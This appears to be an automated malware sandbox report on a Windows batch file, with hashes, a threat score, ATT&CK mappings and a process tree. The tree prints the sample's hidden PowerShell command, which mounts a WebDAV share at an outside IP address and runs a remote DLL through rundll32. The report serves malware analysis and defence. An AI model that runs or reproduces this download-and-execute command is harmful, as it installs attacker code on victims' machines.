524f6c7cd0469eafbf612f8a26ec7df8abeeb2289a2fc4bdc5232ccec6c54da6

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
14/07/2024, 18:51

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General

Target

28410314442699218576.bat
Size

2KB
MD5

9b2b8e0c079b283d40b42a621ec7e4f3
SHA1

23c6e7d829f977c521171bb3fc8f38fe5e0707e3
SHA256

52768ed721cd41910dcb85ffe2f4a0b4d4983bbc819cd6983813336682369884
SHA512

67b554c92b72da3fa5e42acaae005f863a0eb94c29e875f340410ca0b84587a45f6d52bd080df28b51f3b19471b049922dc7aa25fd68e0c0af5ae669994e57ba

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2400	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2400	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2400	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2812	wordpad.exe
2812	wordpad.exe
2812	wordpad.exe
2812	wordpad.exe
2812	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 2812	2452	cmd.exe	31
PID 2452 wrote to memory of 2812	2452	cmd.exe	31
PID 2452 wrote to memory of 2812	2452	cmd.exe	31
PID 2452 wrote to memory of 2400	2452	cmd.exe	32
PID 2452 wrote to memory of 2400	2452	cmd.exe	32
PID 2452 wrote to memory of 2400	2452	cmd.exe	32
PID 2400 wrote to memory of 2836	2400	powershell.exe	34
PID 2400 wrote to memory of 2836	2400	powershell.exe	34
PID 2400 wrote to memory of 2836	2400	powershell.exe	34
PID 2400 wrote to memory of 2872	2400	powershell.exe	35
PID 2400 wrote to memory of 2872	2400	powershell.exe	35
PID 2400 wrote to memory of 2872	2400	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\28410314442699218576.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4215.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2836
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4215.dll entry
    3⤵
    PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2400-23-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2400-24-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download